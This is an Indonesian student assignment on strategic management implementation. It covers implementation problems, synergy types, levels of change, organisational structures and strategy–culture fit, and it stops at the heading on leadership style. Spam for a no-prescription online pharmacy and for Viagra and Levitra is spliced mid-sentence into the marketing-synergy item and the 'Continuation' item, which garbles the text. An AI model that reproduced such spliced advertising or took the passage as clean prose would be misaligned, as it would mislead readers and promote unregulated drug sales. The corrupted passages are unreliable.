TUGAS MANAJEMEN STRATEGIK

TUGAS MANAJEMEN STRATEGIK

TUGAS PERTEMUAN II

PROSES PERUSAHAAN dan MENYUSUN STRATEGINYA SERTA PENJELASAAN TENTANG EFEKTIFITAS IMPLEMENTASI MANAJEMEN STRATEGI DAN

TUGAS PERTEMUAN III

PROSES PERUSAHAAN DALAM MENYUSUN VISI ,MISI ,TUJUAN ,DAN SASARAN SERTA JELASKAN EFEKTIFITASNYA DALAM IMPLEMENTASI MANAJEMEN STRATEGI

 

 

DISUSUN OLEH :

ROHMA YUNITA  

01112059

FALKULTAS EKONOMI AKUTANSI

UNIVERSITAS NAROTAMA SURABAYA

TAHUN 2014

 

 

 

TUGAS MANAJEMEN STRATEGI II

 

 

PROSES PERUSAHAAN dan MENYUSUN STRATEGINYA SERTA PENJELASAAN TENTANG EFEKTIFITAS IMPLEMENTASI MANAJEMEN STRATEGI

 

I. Pengantar : Formulasi Strategi vs Implementasi Strategi

 

Proses manajemen strategik belum dapat dikatakan selesai ketika  perusahaan memutuskan strategi apa yang akan ditempuh. Perusahaan masih harus menterjemahkan rumusan  strategi tersebut ke dalam tindakan strategik. Kita harus selalu ingat bahwa  sebaik apapun rumusan strategi,  hanya  akan menjadi   retorika belaka jika tidak dapat diimplementasikan dengan baik. Oleh karena itu, agar perusahaan dapat mencapai tujuan secara optimal, maka selain harus mampu merumuskan strategi, perusahaan juga harus mampu mengimplementasikan strategi tersebut secara efektif. Jika salah satu “langkah” tersebut tidak dapat dilaksanakan dengan baik, maka tidak mustahil perusahaan akan memetik kegagalan. Bahkan, rumusan strategi yang sempurna sekalipun hanya akan memberikan kontribusi yang minim bagi pencapaian tujuan perusahaan jika tidak mampu diimplementasikan dengan baik.

Banyak perusahaan atau organisasi yang banyak menghamburkan sumberdayanya (uang, waktu, tenaga) untuk mengembangkan rencana strategik yang “ampuh”. Namun kita harus ingat bahwa perubahan hanya akan terjadi melalui suatu action (implementasi), bukan sekedar perencanaan. Rumusan strategi yang secara teknis kurang sempurna jika diimplementasikan dengan baik, maka akan didapat hasil yang lebih baik dibandingkan dengan  rumusan strategi yang sempurna namun hanya “ di atas kertas”. Hal ini didukung oleh sebuah hasil penelitian pada 31 industri manufaktur di mana hasilnya menunjukkan bahwa kinerja yang diperoleh perusahaan tidak  sekedar ditentukan oleh strategi yang dimiliki, namun lebih disebabkan karena efektivitas perusahaan dalam mengimplementasikan strategi tersebut.

Berdasarkan gambar di atas, ada berbagai kemungkinan yang terjadi antara formulasi strategi dengan implementasi strategi, yaitu :

  1. Succes : Merupakan hasil yang paling diidamkan-idamkan oleh setiap perusahaan. Situasi ini dapat terjadi jika  formulasi strategi perusahaan disusun dengan baik begitu juga dalam implementasinya.
  2. Trouble : Merupakan situasi di mana perusahaan menyusun   formulasi strateginya dengan baik  namun implementasinya buruk.
  3. Roulette : Merupakan situasi di mana perusahaan kurang baik dalam memformulasi strateginya, namun perusahaan melakukan implementasi yang cukup baik.
  4. Failure :  kondisi ini sangat tidak dinginkan oleh perusahaan. Hal ini terjadi karena strategi perusahaan tidak diformulasikan dengan baik, demikian juga dalam implementasinya.

II. Berbagai Problem dalam Implementasi Strategi

Seperti dikutip Hunger (1995) terhadap hasil survei terhadap 93 perusahaan yang masuk daftar Fortune 500 menunjukkan bahwa setengah dari perusahaan-perusahaan tersebut menemui 10 macam problem   ketika   mengimplementasikan sebuah strategi perubahan. Berikut adalah kesepuluh problem tersebut yang disusun   berdasarkan tingkat frekuensi kejadian.

  1. Implementasi berjalan lebih lambat dibanding dengan perencanaan awalnya
  2. Munculnya berbagai masalah yang tidak terduga
  3. Koordinasi dalam implementasi tersebut  tidak efektif
  4. Perusahaan   memberi perhatian yang berlebihan terhadap aktivitas persaingan dan penanganan krisis sehingga kurang memperhatikan implementasi yang harus dijalankan
  5. Kemampuan SDM yang terlibat dalam implementasi strategi kurang
  6. Pendidikan dan pelatihan SDM di tingkat bawah kurang memadai
  7. Tidak terkendalinya faktor-faktor lingkungan eksternal
  8. Kualitas kepemimpinan dan pengarahan dari para manajer departemen kurang memadai
  9. Tidak jelasnya implementasi pada tugas dan aktivitas kunci
  10. Pemantauan aktivitas oleh sistem informasi yang dimiliki perusahaan kurang memadai

III. Proses Implementasi Strategi Menurut Hunger

Menurut Hunger (1996), untuk memulai proses implementasi, pihak manajemen harus memperhatikan 3 (tiga) pertanyaan berikut.

  1. Siapa yang akan melaksanakan rencana strategis yang telah diformulasikan?
  2. Apa yang harus dilakukan?
  3. Bagaimana sumberdaya manusia yang bertanggungjawab dalam implementasi akan melaksanakan berbagai aspek yang diperlukan?

a. Siapa yang Akan Melaksanakan Implementasi?

Dibandingkan dengan pihak yang merumuskan strategi,  biasanya  pihak yang melakukan implementasi strategi  jumlahnya lebih banyak. Pada perusahaan multi industri yang besar, pelaksana strategi adalah setiap orang dalam organisasi tersebut. Para direktur fungsional (pemasaran, SDM, operasi, dan keuangan),  para direktur divisi atau  SBU (strategic business unit) akan bekerja sama dengan para karyawannya  untuk  mengimplementasi  seluruh rumusan  yang telah dibuat dalam skala besar. Sedangkan para  manajer pabrik, manajer proyek dan kepala-kepala unit akan mengimplementasi rumusan strategi tersebut secara rinci dan dalam skala yang lebih kecil. Oleh karena itu setiap  manajer operasi harus mampu mengawasi implementasi rencana strategis sampai pada tingkat lini pertama Untuk mendukung hal itu maka  karyawan  harus dilibatkan dalam berbagai proses implementasi, baik pada level korporat, unit bisnis   maupun fungsional.

Tidak sedikit orang yang mempunyai peran penting dalam implementasi strategi justru kurang banyak dilibatkan dalam pengembangan strategi. Akibatnya,  hal ini berpotensi memunculkan resistensi bagi mereka. Resistensi ini akan semakin tampak jika  perubahan misi, tujuan, strategi dan berbagai kebijakan penting perusahaan   tidak dikomunikasikan secara jelas dan  transparan kepada seluruh manajer operasional. Jika ini terjadi, bisa terjadi para manajer operasional tersebut akan berusaha    mempengaruhi manajemen puncak untuk meninggalkan  perubahan  baru yang direncanakan, dan kembali ke cara lama. Oleh karena itu, untuk menghindari kemungkinan kejadian buruk tersebut, maka perusahaan harus melibatkan manajer tingkat menengah dalam seluruh proses, baik dalam perumusan strategi maupun implementasinya.

b. Apa yang Harus Dilakukan?
Untuk  mendukung implementasi strategi yang telah dirumuskan, para manajer  divisi dan manajer wilayah fungsional harus  saling bekerja sama dengan  manajer lainnya   dalam mengembangkan program, merancang anggaran dan prosedur yang diperlukan  untuk  mewujudkan apa yang telah dirumuskan.  Hal ini berarti para manajer tersebut  harus bekerjasama untuk mencapai sinergi diantara mereka  agar  mampu memperoleh dan mempertahankan keunggulan bersaing bagi perusahaan tersebut.

Mengembangkan Program, Anggaran, dan Prosedur
Pengembangan program dibuat dengan tujuan agar strategi yang telah dibuat dapat diimplementasikan  dalam suatu “tindakan” (action-oriented). Sebagai contoh,  PT. AA  yang bergerak dalam industri garmen memutuskan untuk melakukan integrasi vertikal ke hilir sebagai  pilihan strateginya. Dalam hal ini PT.AA membeli jaringan toko pakaian jadi  milik PT. BB. Untuk menyatukan toko-toko tersebut, pihak manajemen dapat mengembangkan berbagai program pendukung, misalnya:

  1. Melakukan program restrukturisasi untuk mengalihkan toko-toko PT. BB ke dalam rantai komando pemasaran PT. AA. Dengan adanya restrukturisasi tersebut, para manajer toko   berada  dalam satu  rantai komando.  .
  2. Mengembangkan program periklanan  secara terpadu.
  3. Mengadakan program pelatihan bagi para manajer toko yang baru dan para manajer eks PT. BB yang masuk dalam tim manajemen yang baru.
  4. Menyusun prosedur baru dalam hal pelaporan   keuangan untuk menyatukan toko-toko PT. BB  ke dalam sistem akuntansi PT. AA
  5. Mengadakan program modernisasi untuk mempersiapkan toko-toko PT. BB bergabung secara  resmi  dengan PT. AA.

Setelah menyusun semua program yang dibutuhkan, maka langkah selanjutnya adalah menyusun anggaran. Melalui anggaran, pihak manajemen dapat memperkirakan biaya yang harus dikeluarkan perusahaan dalam rangka mengimplementasi strategi yang telah dipilihnya. Selain itu, hal ini juga  dapat menjadi petunjuk bagi perusahaan apakah strategi yang dipilihnya dapat diimplementasikan (sebagaimana sering terjadi,   strategi yang tampaknya ideal temyata banyak kendala, bahkan benar-benar tidak dapat diimplementasikan).

Proses perancangan dan penyusunan anggaran program, divisional maupun perusahaan, akan merupakan “trigger” bagi pihak manajemen untuk mengembangkan  standard operating procedures (SOP). SOP berisi rincian beragam kegiatan  yang diperlukan dalam menyelesaikan sebuah program perusahaan. Seperti dalam kasus akuisisi PT. AA terhadap gerai eceran PT. BB, SOP yang baru harus segera dibuat untuk berbagai hal, misalnya untuk  kepentingan promosi, pemesanan persediaan, pemilihan barang dagangan, layanan pelanggan, fasilitas belanja kredit, distribusi gudang penyimpanan, penetapan harga,  penanganan pelayanan pelanggan dan sebagainya.

Masih dalam konteks PT. AA, SOP yang disusun akan memastikan  bahwa operasional harian di seluruh toko jaringan PT. AA akan selalu tetap dan ajeg  sepanjang waktu (misalnya, kegiatan  minggu yang akan datang akan sama dengan kegiatan  minggu ini; setiap toko akan beroperasi pada standar pelayanan yang sama, dan lain-lain).  Contoh lain misalnya McDonald,  untuk memastikan bahwa semua kebijakannya telah diimplementasikan  dengan baik oleh setiap orang di semua gerainya, maka perusahaan makanan cepat saji ini  berhasil mengembangkan   berbagai prosedur operasional yang sangat rinci  dan menjadikannya  sebagai kebijakan yang harus diikuti oleh setiap anggota organisasi.

Mencapai Sinergi

Salah satu tujuan yang harus dicapai dalam implementasi strategi adalah  memperoleh sinergi di antara berbagai fungsi dan unit bisnis yang ada.    Divisi perusahaan dikatakan memperoleh sinergi apabila  ROI dari setiap divisi perusahaan tersebut lebih besar daripada ROI ketika divisi-divisi tersebut   terpisah sebagai unit bisnis yang mandiri. Proses akuisisi ataupun   penambahan lini produk sering dijadikan alasan  untuk mendapatkan keunggulan dalam  fungsional tertentu dalam suatu   perusahaan.    

Sebagai contoh, ketika Ralston Purina mengakuisisi lini produk Union Carbide (Eveready dan Energizer),  para pimpinan Ralston berargumen bahwa dengan melakukan akuisisi, perusahaan tersebut akan memperoleh margin keuntungan yang lebih  besar  dalam lini produk baterai daripada yang dapat dilakukan oleh Union Carbide.   Perusahaan Ralston Purina menganggap bahwa proses akuisi mampu membuat harga baterai lebih murah karena adanya keunggulan dalam periklanan, promosi dan distribusi.

Igor Ansoff (1993) menyatakan bahwa ada empat jenis sinergi yang seringkali mempengaruhi keberhasilan implementasi strategi, yaitu:

1. Sinergi Pemasaran:

Sinergi ini dapat tercipta melalui kerjasama antara distribusi, wiraniaga, dan atau Canadian Pharmacy No Rx Cheap. Pain Relief|muscle Relaxant. Shipping Policy, Cheap Prices, Herbals, Weight Loss. gudang penyimpanan. Misalnya, sebuah lini produk yang lengkap dari produk-produk yang terkait satu sama lain dapat menciptakan  sinergi yang meningkatkan produktivitas wiraniaga. Sinergi melalui program  promosi bersama dapat melipatgandakan keuntungan    dengan biaya yang relatif lebih kecil.

2. Sinergi Operasional:

Sinergi ini dapat diperoleh melalui penggunaan tenaga  kerja dan fasilitas bersama atau melalui pembelian kebutuhan operasional bersama dalam jumlah besar. Dalam hal ini berarti  ada pembagian biaya overhead  bersama .

3. Sinergi Investasi:

Sinergi investasi dapat tercipta melalui penggunaan fasilitas produksi dalam pabrik secara bersama, pembelian persediaan bahan baku secara bersama, penggunaan peralatan dan mesin-mesin pengolah secara bersama, dan sebagainya.

4. Sinergi Manajemen

Manajemen yang berkompeten merupakan sesuatu yang langka, sehingga penambahan unit bisnis baru atau produk baru dapat mempertinggi keseluruhan kinerja. Sebagai contoh, pada saat sebuah perusahaan mengakuisisi perusahaan lainnya, pihak perusahaan pengakuisisi mengetahui benar SDM yang akan menduduki posisi kunci, rasio untuk menguji kinerja.

c. Bagaimana sumberdaya manusia yang bertanggungjawab dalam implementasi          akan melaksanakan berbagai aspek yang diperlukan?

Pada pembahasan sebelumnya kita telah membahas pentingnya pengembangan program, penyusunan anggaran dan pembuatan prosedur di mana semuanya itu dimaksudkan untuk  mewujudkan apa yang telah dirumuskan. Di luar itu semua, ada hal lain yang lebih krusial yang harus dilakukan oleh pihak manajemen, diantaranya adalah bagaimana cara penataan staf, bagaimana mengarahan dan mengendalikan mereka. Dalam hal ini, pembahasan akan difokuskan pada masalah penataan dan pengarahan staf.

Penataan Staf (Staffing)

Implementasi strategi seringkali membutuhkan berbagai prioritas baru dalam pengelolaan sumberdaya manusia. Beberapa perubahan tertentu mungkin berimplikasi pada dibutuhkannya orang-orang baru dengan kompetensi baru, memperhentikan orang-orang yang kompetensinya tidak sesuai atau tidak memenuhi standar, melatih kembali karyawan yang ada dan sebagainya. Dalam pembahasan struktur organisasi kita mengenal “jargon” structure follow strategy, maka dalam penataan staf ini juga demikian, dalam arti penataan staf mengikuti strategi. Artinya, dalam merekrut manajer pun perusahaan harus menyesuaikan dengan strategi. Dengan demikian dapat dikatakan  bahwa figur manager ataupun CEO yang tepat  untuk sebuah perusahaan  adalah bergantung pada arah strategis yang diinginkan oleh perusahaan atau unit bisnis tersebut. Sebagai contoh, perusahaan yang mengambil strategi konsentrasi dengan penekanan pada integrasi vertikal ataupun horisontal, mungkin membutuhkan eksekutif puncak yang agresif dengan pengalaman luas pada industri tertentu. Sedangkan untuk strategi diversifikasi adalah sebaliknya, di mana untuk strategi ini dibutuhkan CEO dengan kemampuan analitis yang tajam, mempunyai pengetahuan yang luas tentang berbagai industri lainnya dan mampu mengelola beerbagai lini produk yang berbeda.

Pengarahan (Directing)

Implementasi juga terkait dengan pengarahan staf untuk menggunakan kompetensinya pada tingkat yang paling optimal untuk mencapai sasaran perusahaan. Tanpa adanya pengarahan, staf cenderung melakukan pekerjaan sesuai  cara pandang mereka. Mereka mungkin melakukan pekerjaan berdasarkan pengalaman masa lalu atau menekankan pekerjaan pada hal-hal yang paling mereka senangi – tanpa  memperhatikan apakah yang mereka kerjakan sudah sesuai dengan arah strategis yang baru. Pengarahan dapat berbentuk kepemimpinan dari pihak manajemen, mengkomunikasikan norma perilaku dari budaya perusahaan, atau membangun kesepakatan diantara para pegawai sendiri dalam kelompok kelompok kerja yang otonom.

Untuk mengarahkan strategi bari dengan efektif, manajemen puncak harus mendelegasikan wewenang dan tanggungjawabnya dengan tepat kepada para manajer operasionalnya. Meraka harus mampu mendorong pegawai untuk berperilaku  sesuai dengan cara-cara yang diinginkan oleh perusahaan dan mengkoordinasikan tindakan untuk menghasilkan kinerja yang optimal.

IV. Proses Implementasi Strategi Menurut Certo,dkk.

Bagaimana cara mengimplementasikan strategi dengan baik ? Untuk menjawab pertanyaan itu, Certo dan Peter memperkenalkan  suatu model mengenai  langkah-langkah utama yang seharusnya ditempuh perusahaan dalam mengimlementasikan strategi. Model tersebut dapat dilihat pada gambar berikut.

Untuk melakukan implementasi srategi dengan baik, Cetro dan Peter   memberikan suatu model tentang tugas-tugas utama yang seharusnya dilakukan dalam proses implementasi strategi.

Berdasarkan gambar di atas, maka langkah-langkah utama yang sebaiknya dilakukan perusahaan dalam mengimplementasikan strategi adalah:

1. Menganalisis Perubahan

Ketika membicarakan perubahan, ada jargon yang selalu didengungkan, yaitu:”Di dunia ini tidak ada sesuatu yang pasti kecuali perubahan itu sendiri”. Ada banyak aspek yang memicu perubahan, baik yang berasal dari internal maupun eksternal perusahaan. Dalam hal ini, perusahaan  harus menganalisis perubahan yang akan terjadi  seandainya formulasi strategi yang telah disepakati bersama diimplementasikan.  Melalui analisis ini perusahaan  memperhitungkan  secara rinci seberapa besar perusahaan akan berubah, apakah secara sangat sederhana dimana tidak ada perubahan strategi yang signifikan, sampai kepada perubahan yang kompleks, misalnya merubah misi perusahaan.

Perubahan strategi dapat diklasifikasikan dalam 5 level perubahan, di mana semakin besar   perubahan maka akan semakin kompleks usaha untuk mengimplementasi.  Adapun 5 level perubahan tersebut adalah sebagai berikut.

  1. a.      Compare viagra to levitra, online – Drug store, cheap prices!. Discount on reorders. Package delivery insurance. Continuation  : Pola ini terjadi karena perusahaan mengulang strategi yang sama dengan strategi yang digunakan pada periode sebelumnya. Karena strategi ini pernah dilakukan sebelumnya, maka tidak banyak membutuhkan kemampuan atau aktivitas yang baru. Bahkan, melalui  pengalaman sebelumnya akan mampu membuat perusahaan   beroperasi lebih efisien.
  2. b.       Routine Change : Perubahan ini dilakukan perusahaan untuk   meningkatkan “daya tarik pasarnya” (market appeal)   agar konsumen lebih terpikat.    Dalam strategi ini, biasanya perusahaan melakukan perubahan appeal (daya tarik) dari iklannya, kemasan, harga, metode distribusi, dan sebagainya. Jadi, dalam hal ini, perubahan yang dilakukan bukanlah perubahan yang signifikan, sebab perusahaan masih menekuni industri yang sama dan format organisasinyapun tidak berubah.
  3. c.       Limited Change : Perubahan ini dilakukan karena perusahaan menawarkan produk baru pada pasar yang baru. Dalam hal ini, kendati perusahaan masih beroperasi dalam industri yang sama, namun akibat  perubahan produk baru tersebut maka format organisasipun ikut mengalami perubahan.
  4. d.      Radical Change : Dalam hal ini perusahaan melakukan suatu strategi  cukup “mendasar” sehingga  perusahaan memandang perlu dilakukannya reorganisasi secara besar-besaran. Jenis perubahan ini biasanya dilakukan ketika perusahaan melakukan merger atau akuisisi namun masih dalam industri yang sama.  Proses akuisisi dan merger dapat menjadi lebih kompleks  jika perusahaan bermaksud mengintergrasikan  kedua perusahaan secara utuh.
  5. e.       Organizational Redirection : Dalam hal ini perusahaan melakukan perubahan orientasi sedemikian rupa sehingga merubah industri yang dimasuki, merubah misi, keahlian dan sebagainya. Organizational Redirection juga dapat terjadi ketika suatu perusahaan melakukan merger atau akuisisi terhadap perusahaan yang berasal dari industri yang sama sekali beda. Jenis perubahan ini merupakan perubahan yang paling kompleks.

2. Menganalisis Struktur Organisasi

Perubahan strategi perusahaan mungkin akan membutuhkan beberapa perubahan dalam organisasi dan juga keahlian yang dibutuhkan pada posisi-posisi tertentu. Studi yang dilakukan Chandler terhadap beberapa perusahaan besar Amerika Serikat seperti DuPont, General Motors, Sears dan Standard Oil disimpulkan bahwa berbagai perubahan yang terjadi dalam implementasi strategi   akan mengarah pada perubahan struktur organisasi. Berbagai penelitian juga menunjukkan bahwa struktur organisasi yang baik adalah struktur organisasi yang sesuai dengan strategi. Dengan kata lain struktur organisasi mengikuti strategi. Oleh karena itu, penetapan stuktur organisasi merupakan salah satu faktor penting dalam  implementasi strategi agar semua aktivitas perusahaan yang diakibatkan perubahan tersebut  dapat dilaksanakan dengan baik. Struktur organisasi akan membantu mempertajam aktivitas kunci perusahaan dan memperlihatkan pola koordinasi yang diterapkan dalam menjalankan strategi. Dalam hal ini, aspek  strategi, stuktur dan lingkungan harus terpadu dalam satu kesatuan, atau jika tidak, maka kinerja perusahaan akan lemah.

Berdasarkan pemikiran di atas, maka para manajer strategis   harus  memperhatikan bagaimana  perusahaan mereka akan “distruktur”    agar semua aktivitas perusahaan  dapat dilakukan dengan baik. Haruskah berbagai aktivitas yang ada dikelompokkan? Haruskah kewenangan untuk membuat keputusan penting dipusatkan di  kantor pusat atau cukup didesentralisasikan pada manajer-manajer di kantor cabang?  Haruskah perusahaan dikelola secara ketat dengan menerapkan berbagai peraturan dan pengawasan, atau dikelola secara longgar dengan hanya sedikit peraturan dan pengawasan? Haruskah perusahaan menggunakan struktur organisasi yang tinggi  dengan banyak jenjang     dengan alasan untuk memberikan  pengawasan yang lebih baik terhadap karyawan; atau cukup diorganisasi dalam struktur yang lebih mendatar dengan sedikit tingkatan manajer   dalam upaya memberikan lebih banyak kebebasan dalam memimpin? Sebagai contoh, perusahaan otomotif Ford memiliki struktur organisasi yang   tinggi   dengan 15 tingkatan manajer, sementara Toyota relatif datar dengan hanya memiliki tujuh tingkatan manajer. Apakah Toyota atau Ford yang memiliki struktur “yang lebih baik”?

Sebelum menjawab pertanyaan-pertanyaan  tersebut dan pertanyaan lainnya, manajer strategis harus memahami lebih dahulu berbagai bentuk struktur organisasi, diantaranya adalah:

a. Struktur Organisasi Sederhana  

Struktur organisasi sederhana ini   hanya memiliki dua tingkatan, yaitu pemilik dan pekerja. Perusahaan kecil dengan satu produk atau beberapa produk lain yang saling berhubungan, biasanya menggunakan  struktur organisasi ini. Perusahaan-perusahaan yang menggunakan struktur organisasi   sederhana ini biasanya dikelola oleh pemiliknya sendiri yang sekaligus menangani pekerjaan lain yang berhubungan dengan sebuah produk. Artinya, dalam struktur sederhana ini, pemilik perusahaan cenderung mengambil semua keputusan penting secara sendiri, dan terlibat langsung dalam setiap tahap kegiatan perusahaan.  Untuk lebih mengetahui format struktur organisasi yang sederhana ini, perhatikan gambar berikut.

  Struktur Organisasi Sederhana

Struktur organisasi   sederhana   memiliki beberapa kelebihan dan kekurangan.

Adapun kelebihan struktur organisasi sederhana adalah :

  • Pengambilan keputusan dapat dilakukan dengan cepat
  • Sistemnya (imbalan, pengawasan dll)  tidak rumit
  • Tidak mahal

Sedangkan kelemahan dari struktur sederhana adalah:

  • Cenderung berfokus pada pemilik perusahaan
  • Kesempatan untuk peningkatan karir relatif kecil
  • Dibutuhkan kemampuan yang lebih untuk pemilik perusahaan
  • Tidak sesuai untuk organisasi yang besar

b. Struktur Organisasi Fungsional  

Dalam struktur organisasi fungsional, setiap manajer yang mempunyai  spesialisasi fungsional menggantikan tempat dan peranan si pemilik perusahaan.   Transisi menuju spesialisasi ini membutuhkan sebuah perubahan substansial dalam gaya manajemen pimpinan perusahaan. Sebagai organisasi yang  menumbuhkan dan mengembangkan sejumlah produk dan pasar yang berkaitan, struktur organisasi ini secara teratur berubah untuk merefleksikan spesialisasi yang lebih besar. Untuk mengetahui  format struktur organisasi fungsional, lihat gambar berikut.

Struktur organisasi fungsional ini mempunyai  beberapa kelebihan, antara lain:

  • Efisiensi melalui spesialisasi
  • Komunikasi dan jaringan keputusannya relatif sederhana
  • Mempertahankan tingkat pengendalian strategi pada level manajemen puncak
  • Dapat mendelegasi keputusan operasional sehari-hari
  • Mempermudah pengukuran output dan hasil dari setiap fungsi

Sedangkan kekurangan dari struktur organisasi fungsional adalah:

  • Menyebabkan spesialisasi yang sempit
  • Dapat mendorong timbulnya persaingan dan konflik antar fungsi
  • Mengakibatkan sulitnya koordinasi di antara bidang-bidang fungsional
  • Dapat menyebabkan tingginya biaya koordinasi antar fungsi
  • Identifikasi karyawan dengan kelompok spesialis dapat membuat perubahan menjadi sulit
  • Membatasi pengembangan keterampilan manajer yang lebih luas

c. Struktur Organisasi Divisional

Ketika perusahaan berkembang,  perusahaan mulai memfokuskan perhatiannya pada pengelolaan berbagai lini produk di berbagai industri dan mendesentralisasikan wewenangnya dalam pengambilan keputusan. Ketika perusahaan mulai melakukan akuisisi dan mengembangkan berbagai produk baru dalam industri dan pasar yang berbeda, biasanya mengubah strukturnya menjadi  struktur organisasi yang terdiri dari beberapa  divisi. Tiap-tiap divisi dapat beroperasi sendiri-sendiri dibawah pengarahan seorang manajer divisi yang bertanggungjawab langsung kepada CEO. Dalam struktur organisasi divisional, manajer divisi dapat mengembangkan strategi untuk masing-masing divisinya dan mungkin saja mereka menghadapi persaingan yang berbeda dengan divisi lainnya sehingga strategi yang ditempuh mungkin juga berbeda dengan divisi lainnya. Pada organisasi divisional, divisi-divisi tersebut dapat menjadi tempat yang baik untuk “melatih” para manajer muda. Selain itu juga merupakan tempat yang baik  dalam mengembangkan “intuisi” kewiraswastaan serta meningkatkan sejumlah pusat inisiatif dalam suatu perusahaan.

Sebagaimana struktur organisasi yang lain, struktur organisasi divisional ini juga  mempunyai beberapa kelebihan dan kekurangan. Adapun kelebihan  struktur organisasi divisional antara lain:

  • Koordinasi antarfungsi menjadi lebih mudah dan cepat
  • Mempunyai fleksibilitas pada struktur perusahaan
  • Spesialisasi pada setiap divisi dapat dipertahankan
  • Kesempatan karir lebih terbuka
  • Menimbulkan kompetisi di dalam organisasi
  • Beban rutin CEO berkurang sehingga mempunyai waktu untuk keputusan strategis

Sedangkan kekurangan  struktur organisasi divisional antara lain:

  • Mengkibatkan turunnya komunikasi antara spesialisasi funsional
  • Sangat potensial untuk menimbulkan persaingan antar  divisi
  • Pendelegasian yang besar dapat menimbulkan masalah

d. Struktur Strategic Business Unit (SBU)

Ketika struktur organisasi divisional menjadi sulit diterapkan karena CEO mempunyai terlalu banyak divisi yang harus diurus,  maka salah satu solusinya adalah perusahaan mengubah struktur organisasinya dalam bentuk strategic business unit (SBU) atau strategic groups. Struktur SBU ini mengelompokkan sejumlah divisi berdasarkan pada beberapa aspek seperti lini produk atau pasar.  Untuk mengetahui  format  struktur SBU ini, perhatikan gambar berikut.

Adapun kelebihan  struktur SBU antara lain:

  • Tanggungjawab setiap SBU jelas
  • Memperbaiki koordinasi
  • Sistem pengawasan untuk organisasi yang terdiversifikasi menjadi lebih mudah
  • Masing-masing SBU lebih memahami lingkungan khususnya

 

Sedangkan kekurangan stuktur SBU antara lain:

  • Struktur lebih tinggi
  • Biaya lebih tinggi
  • Berpotensi menimbulkan persaingan antar SBU dalam memperebutkan sumberdaya

e. Struktur Organisasi Matriks

Struktur organisasi matriks digunakan untuk memudahkan pengembangan pelaksanaan beragam program atau proyek. Setiap departemen dikepalai oleh vice precident  yang mempunyai tanggungjawab fungsional  bagi seluruh proyek. Sedangkan setiap manajer proyek mempunyai “project responsibility” untuk penyelesaian dan implementasi strategi. Untuk mengetahui format struktur organisasi matriks.

Sebagaimana struktur-struktur organisasi lainnya, struktur organisasi matriks juga mempunyai berbagai kelebihan dan kekurangan. Kelebihan struktur organisasi matriks antara lain adalah:

  • Sesuai untuk beban kerja yang fluktuatif
  • Tujuan proyek menjadi lebih jelas
  • Memungkinkan untuk merespon pada beberapa sektor lingkungan secara serentak
  • Banyak jalur untuk melakukan  komunikasi
  • Pekerjaan dapat dipahami secara lebih jelas

Adapun kelemahan struktur organisasi matriks antara lain:

  • Strukturnya sangat rumit
  • Biaya relatif  tinggi
  • Memungkinkan timbulnya dualisme kepemimpinan
  • Relatif sulit karena terdapat kepentingan ganda sehingga memerlukan koordinasi kuat

3. Menganalisis Budaya Perusahaan

Peranan Budaya Perusahaan dalam Implelemtasi Strategi

Organisasi perusahaan yang dirancang untuk mengimplementasikan suatu strategi sesungguhnya jauh lebih kompleks dibandingkan dengan format struktur organisasi  yang digambarkan  dalam sebuah bagan. Diluar bagan tersebut, sesungguhnya ada hal lain yang sangat perlu  mendapat  perhatian manajemen dalam proses implementasi, yaitu  budaya perusahaan. Budaya perusahaan mirip dengan kepribadian seseorang. Budaya perusahaan merupakan norma atau nilai yang dianut bersama (shared value) yang menjadi dasar bertindak seorang indvidu dalam organisasi. Budaya perusahaan inilah yang dapat  menyebabkan mengapa  suatu strategi  dapat diimplementasikan pada suatu perusahaan, sedangkan pada perusahaan  yang lain  strategi tersebut  gagal  diimplementasikan  kendati kedua perusahaan tersebut menghadapi  kondisi yang relatif sama.  Makin banyak anggota yang menerima nilai-nilai inti yang dianut perusahaan dan merasa sangat terikat kepadanya, maka akan semakin kuat budaya tersebut.

Karena budaya perusahaan mempunyai pengaruh kuat terhadap perilaku seluruh pegawai, maka budaya perusahaan juga berpengaruh besar dalam mempengaruhi kemampuan perusahaan dalam mengubah arah strateginya. Perubahan dalam misi, sasaran, strategi atau kebijakan suatu perusahaan, kemungkinan akan gagal jika dalam perusahaan tersebut ada pihak yang melakukan oposisi secara  kuat terhadap budaya yang dianut.  Oleh karena itu dapat dikatakan bahwa jika implementasi suatu strategi akan mengakibatkan suatu  perubahan, dan  langkah-langkah untuk  melakukan perubahan tersebut dalam praktiknya tidak sesuai dengan budaya perusahaan tersebut, maka ada kemungkinan   akan timbul penolakan atau hambatan-hambatan. Sedangkan jika langkah-langkah yang diambil sesuai dengan budaya perusahaan tersebut, maka proses implementasi  strategi akan lebih mudah dilakukan.

Menilai Strategis Kesesuaian Strategi-Budaya

Mengingat budaya perusahaan mempunyai pengaruh besar terhadap suksesnya implementasi strategi, maka pihak manajemen harus melakukan analisis untuk menilai kesesuaian antara rumusan strategi dengan budaya perusahaan. Untuk itu pihak manajemen dapat mempertimbangkan  pertanyaan-pertanyaan berikut.

a. Apakah strategi yang dirumuskan  sesuai dengan budaya perusahaan saat ini?

Jika jawabannya adalah “ya”, mulailah dengan segera. Gabungkanlah perubahan-perubahan organisasional dengan budaya perusahaan dengan mengidentifikasi bagaimana strategi baru tersebut akan mencapai misi yang telah ditetapkan dengan lebih baik  daripada strategi yang sebelumnya dijalankan.

b. Jika strategi baru   tidak sesuai dengan budaya perusahaan saat ini, dapatkah budaya    tersebut dimodifikasi dengan mudah sehingga lebih cocok  dengan strategi yang baru?

Jika jawabannya adalah “ya”, jalankan strategi baru tersebut dengan hati-hati dengan memperkenalkan serangkaian kegiatan perubahan budaya, misalnya modifikasi kecil terhadap struktur, kegiatan pelatihan dan pengembangan SDM, mempekerjakan manajer-manajer baru yang lebih cocok dengan strategi baru.

c. Jika budaya perusahaan tidak dapat berubah dengan mudah  dalam menyesuaikan  dengan strategi baru, apakah pihak perusahaan  bersedia dan mampu membuat perubahan organisasional yang besar dan menerima kemungkinan penundaan dalam mengimplementasi strategi baru dan menerima kemungkinan meningkatnya biaya?

Jika jawabannya adalah “ya”, pihak manajemen harus mampu mengubah budaya saat ini dengan menetapkan sebuah unit struktural baru untuk mengimplementasikan strategi baru.

d. Jika pihak perusahaan tidak bersedia membuat perubahan organisasional yang besar yang menuntut dilakukannya perubahan dalam mengelola budaya perusahaan, apakah seluruh SDM dalam perusahaan tersebut masih mempunyai komitmen untuk mengimplementasikan strategi tersebut?

Jika jawabannya adalah “ya”, carilah partner kerja dalam usaha patungan atau mengkontrakkan strategi tersebut untuk mengimplementasikannya. Jika jawabannya adalah “tidak”, rumuskanlah strategi lainnya.

4. Menganalisis Gaya Kepemimpinan 

